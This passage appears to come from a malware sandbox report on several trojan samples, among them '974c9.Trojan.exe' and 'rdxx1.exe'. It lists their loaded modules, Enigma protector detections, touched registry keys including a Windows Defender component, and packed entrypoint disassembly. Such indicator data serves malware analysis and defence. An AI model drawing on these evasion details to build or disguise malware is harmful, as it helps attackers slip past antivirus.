module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 722f0000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "WS2_32.DLL" at base 76950000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75ce0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "KERNEL32" at base 776e0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "KERNEL32.DLL" at base 776e0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 761a0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "COMCTL32.DLL" at base 726d0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "COMCTL32" at base 726d0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-1" at base 75ce0000 "explorhe.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "explorhe.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "explorhe.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "explorhe.exe" loaded module "KERNEL32" at base 776e0000 "explorhe.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "explorhe.exe" loaded module "SHFOLDER.DLL" at base 73910000 "explorhe.exe" loaded module "IMM32.DLL" at base 74670000 "explorhe.exe" loaded module "COMCTL32.DLL" at base 73430000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "explorhe.exe" loaded module "KERNEL32.DLL" at base 776e0000 "explorhe.exe" loaded module "RPCRT4.DLL" at base 76e20000 "explorhe.exe" loaded module "SSPICLI.DLL" at base 741d0000 "explorhe.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 723c0000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76380000 "explorhe.exe" loaded module "NTDLL.DLL" at base 777b0000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73720000 "explorhe.exe" loaded module "SHELL32.DLL" at base 747c0000 "explorhe.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72960000 "explorhe.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 747c0000 "explorhe.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776e0000 "explorhe.exe" loaded module "USER32.DLL" at base 76b90000 "explorhe.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72af0000 "explorhe.exe" loaded module "MSISO.DLL" at base 72a90000 "explorhe.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 761a0000 "explorhe.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 722b0000 "explorhe.exe" loaded module "WINHTTP.DLL" at base 73380000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 722b0000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73bb0000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76950000 "explorhe.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74120000 "explorhe.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75ce0000 "rdx1122.exe" loaded module "KERNEL32" at base 776e0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 761a0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 761a0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 761a0000 "rdx1122.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74670000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "rdx1122.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "rdx1122.exe" loaded module "ADVAPI32.DLL" at base 76b10000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 71f10000 "rdx1122.exe" loaded module "SHLWAPI.DLL" at base 76150000 "rdx1122.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75ce0000 "rdx1122.exe" loaded module "VERSION.DLL" at base 73ef0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 70fb0000 "rdx1122.exe" loaded module "USER32.DLL" at base 76b90000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 761a0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "rdx1122.exe" loaded module "MSCOREE.DLL" at base 72f40000 "rdx1122.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76ee0000 "rdx1122.exe" loaded module "PSAPI.DLL" at base 76060000 "rdx1122.exe" loaded module "KERNEL32.DLL" at base 776e0000 "rdx1122.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 6fba0000 "rdx1122.exe" loaded module "RPCRT4.DLL" at base 76e20000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "rdx1122.exe" loaded module "OLE32.DLL" at base 775b0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "rdx1122.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76ee0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 761a0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71dd0000 "rdx1122.exe" loaded module "NTDLL.DLL" at base 777b0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "rdx1122.exe" loaded module "SHELL32.DLL" at base 747c0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "rdx1122.exe" loaded module "COMBASE.DLL" at base 76ee0000 "rdx1122.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76ee0000 "rdx1122.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "rdx1122.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74120000 "rdxx1.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 761a0000 "rdxx1.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 761a0000 "rdxx1.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 761a0000 "rdxx1.exe" loaded module "KERNEL32" at base 776e0000 "rdxx1.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 739a0000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c50000 "rdxx1.exe" loaded module "MSCOREE.DLL" at base 72f40000 "rdxx1.exe" loaded module "ADVAPI32.DLL" at base 76b10000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 71f10000 "rdxx1.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75ce0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 70fb0000 "rdxx1.exe" loaded module "USER32.DLL" at base 76b90000 "rdxx1.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 761a0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "rdxx1.exe" loaded module "SHLWAPI.DLL" at base 76150000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76ee0000 "rdxx1.exe" loaded module "PSAPI.DLL" at base 76060000 "rdxx1.exe" loaded module "KERNEL32.DLL" at base 776e0000 "rdxx1.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 6fba0000 "rdxx1.exe" loaded module "RPCRT4.DLL" at base 76e20000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "rdxx1.exe" loaded module "OLE32.DLL" at base 775b0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "rdxx1.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76ee0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "rdxx1.exe" loaded module "OLEAUT32.DLL" at base 74360000 "rdxx1.exe" loaded module "WLDP.DLL" at base 72ee0000 "rdxx1.exe" loaded module "AMSI.DLL" at base 72ed0000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73ef0000 "rdxx1.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72c80000 "rdxx1.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 71920000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 776e0000 "rdxx1.exe" loaded module "USERENV.DLL" at base 728f0000 "rdxx1.exe" loaded module "VERSION.DLL" at base 73ef0000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76b10000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 722f0000 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74280000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "rdxx1.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 761a0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71dd0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "rdxx1.exe" loaded module "NTDLL.DLL" at base 777b0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "rdxx1.exe" loaded module "SHELL32.DLL" at base 747c0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "rdxx1.exe" loaded module "COMBASE.DLL" at base 76ee0000 "rdxx1.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76ee0000 "rdxx1.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "rdxx1.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7412000043:T5eb,"974c9.Trojan.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "974c9.Trojan.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "schtasks.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "_cN98WdsB1IEWbc3Zx4D.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "cjV6Q2vxV7zvCn3KN9LD.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "HaHIGF310vbb4fU3fDiY.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "2Sz9u8LqhC5hU2hE9Hgc.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "9Ctcn6an256JgA0A8CaB.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "explorhe.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "explorhe.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "rdx1122.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "rdxx1.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "rdxx1.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F0000 "RegAsm.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74280000 "RegAsm.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 734F000044:T425,"0e000f00cbfdcf00c004c076c204c076@advapi32.dll" "0d000e00cbfdcf00c004c076c204c076@advapi32.dll" "0b000c00cbfdcf00c004c076c204c076@advapi32.dll" "14001500cbfdcf00c004c076c204c076@advapi32.dll" "10001100cbfdcf00c004c076c204c076@advapi32.dll" "0f001000cbfdcf00c004c076c204c076@advapi32.dll" "0c000d00cbfdcf00c004c076c204c076@advapi32.dll" "0d000e00cbfdcf00c004c076c204c076@shell32.dll" "10001100cbfdcf00c004c076c204c076@shell32.dll" "0c000d00cbfdcf00c004c076c204c076@ws2_32.dll" "0b000c00cbfdcf00c004c076c204c076@ws2_32.dll" "12001300cbfdcf00c004c076c204c076@crypt32.dll" "12001300cbfdcf00c004c076c204c076@shlwapi.dll" "0e000f00cbfdcf00c004c076c204c076@gdiplus.dll" "0f001000cbfdcf00c004c076c204c076@gdiplus.dll" "10001100cbfdcf00c004c076c204c076@gdiplus.dll" "13001400cbfdcf00c004c076c204c076@gdiplus.dll" "18001900cbfdcf00c004c076c204c076@gdiplus.dll" "1b001c00cbfdcf00c004c076c204c076@gdiplus.dll" "14001500cbfdcf00c004c076c204c076@gdiplus.dll" "1b001c00cbfdcf00c004c076c204c076@setupapi.dll" "15001600cbfdcf00c004c076c204c076@setupapi.dll"45:T564,"974c9.Trojan.exe" was detected as "ENIGMA" and name: "Protector" "974c9.Trojan.exe" was detected as "Microsoft Linker" and name: "Linker" "RageMP131.exe.bin" was detected as "ENIGMA" and name: "Protector" "RageMP131.exe.bin" was detected as "Microsoft Linker" and name: "Linker" "vinu_1_.exe" was detected as "ENIGMA" and name: "Protector" "vinu_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "ko_1_.exe" was detected as "ENIGMA" and name: "Protector" "ko_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "9Ctcn6an256JgA0A8CaB.exe" was detected as "ENIGMA" and name: "Protector" "9Ctcn6an256JgA0A8CaB.exe" was detected as "Microsoft Linker" and name: "Linker" "explorhe.exe" was detected as "ENIGMA" and name: "Protector" "explorhe.exe" was detected as "Microsoft Linker" and name: "Linker" "rdxx1.exe" was detected as "ENIGMA" and name: "Protector" "rdxx1.exe" was detected as "Microsoft Linker" and name: "Linker" "rdx1122_1_.exe" was detected as "ENIGMA" and name: "Protector" "rdx1122_1_.exe" was detected as "Microsoft Linker" and name: "Linker" "clip64_1_.dll" was detected as "ENIGMA" and name: "Protector" "clip64_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "niks_1_.exe" was detected as "ENIGMA" and name: "Protector" "niks_1_.exe" was detected as "Microsoft Linker" and name: "Linker"46:T1800,"974c9.Trojan.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "974c9.Trojan.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "974c9.Trojan.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "974c9.Trojan.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "974c9.Trojan.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "974c9.Trojan.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "974c9.Trojan.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "974c9.Trojan.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "974c9.Trojan.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "974c9.Trojan.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "974c9.Trojan.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "974c9.Trojan.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "974c9.Trojan.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Internet Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Microsoft Url History Service" (Path: "HKCU\WOW6432NODE\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Network Diagnostics Framework" (Path: "HKCU\WOW6432NODE\CLSID\{C529C7EF-A3AF-45F2-8A47-767B33AA5CC0}\TREATAS") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "_cN98WdsB1IEWbc3Zx4D.exe" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "cjV6Q2vxV7zvCn3KN9LD.exe" touched "Search Gatherer Notification" (Path: "HKCU\WOW6432NODE\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\TREATAS") "cjV6Q2vxV7zvCn3KN9LD.exe" touched "Desktop Status Service" (Path: "HKCU\WOW6432NODE\CLSID\{515980C3-57FE-4C1E-A561-730DD256AB98}\TREATAS") "cjV6Q2vxV7zvCn3KN9LD.exe" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "rdxx1.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32")47:T1c8b,"974c9.Trojan.exe" file has an entrypoint instructions - "pushal ,call 0x8e104e,pop ebp,sub ebp, 6,sub ebp, 0x4e1048,jmp 0x8e10ac,inc ebp,dec esi,dec ecx,inc edi,dec ebp,inc ecx,add ah, byte ptr [ecx],call 0x198e1174,add byte ptr [edi], dl,add byte ptr [edx], cl,add byte ptr [ebx], al,add byte ptr [edi + 0x41], bl,or ecx, edx,pop edi,mov al, byte ptr [0x5f8109a],and eax, 0x8c5b57d2,mov esi, 0x1eaf093,add byte ptr [eax], al,add byte ptr [edx + 0x6b], dh,sub ah, byte ptr [edx + 0x200f4e81],fist dword ptr [ebp + 0x6a56d85a],mov ebx, dword ptr [esi + 0x486ebe51],fisub word ptr [edx],mov ebp, 0x77e2a302,mov byte ptr [esi - 0x10], bh," "RageMP131.exe.bin" file has an entrypoint instructions - "pushal ,call 0x8e104e,pop ebp,sub ebp, 6,sub ebp, 0x4e1048,jmp 0x8e10ac,inc ebp,dec esi,dec ecx,inc edi,dec ebp,inc ecx,add ah, byte ptr [ecx],call 0x198e1174,add byte ptr [edi], dl,add byte ptr [edx], cl,add byte ptr [ebx], al,add byte ptr [edi + 0x41], bl,or ecx, edx,pop edi,mov al, byte ptr [0x5f8109a],and eax, 0x8c5b57d2,mov esi, 0x1eaf093,add byte ptr [eax], al,add byte ptr [edx + 0x6b], dh,sub ah, byte ptr [edx + 0x200f4e81],fist dword ptr [ebp + 0x6a56d85a],mov ebx, dword ptr [esi + 0x486ebe51],fisub word ptr [edx],mov ebp, 0x77e2a302,mov byte ptr [esi - 0x10], bh," "vinu_1_.exe" file has an entrypoint instructions - "pushal ,call 0x8de2e6,pop ebp,sub ebp, 6,sub ebp, 0x4de2e0,jmp 0x8de344,inc ebp,dec esi,dec ecx,inc edi,dec ebp,inc ecx,add ah, byte ptr [ecx],call 0x1b8de40c,add byte ptr [eax], cl,add byte ptr [esi], dl,add byte ptr [eax + eax], dh,dec edi,adc byte ptr [si], bh,pop edi,mov al, byte ptr [0x5f8109a],and eax, 0x8c5b57d2,mov esi, 0x1eaf093,add byte ptr [eax], al,add byte ptr [edx + 0x6b], dh,sub ah, byte ptr [edx + 0x200f4e81],fist dword ptr [ebp + 0x6a56d85a],mov ebx, dword ptr [esi + 0x486ebe51],fisub word ptr [edx],mov ebp, 0x77e2a302,mov byte ptr [esi - 0x10], bh," "ko_1_.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "9Ctcn6an256JgA0A8CaB.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 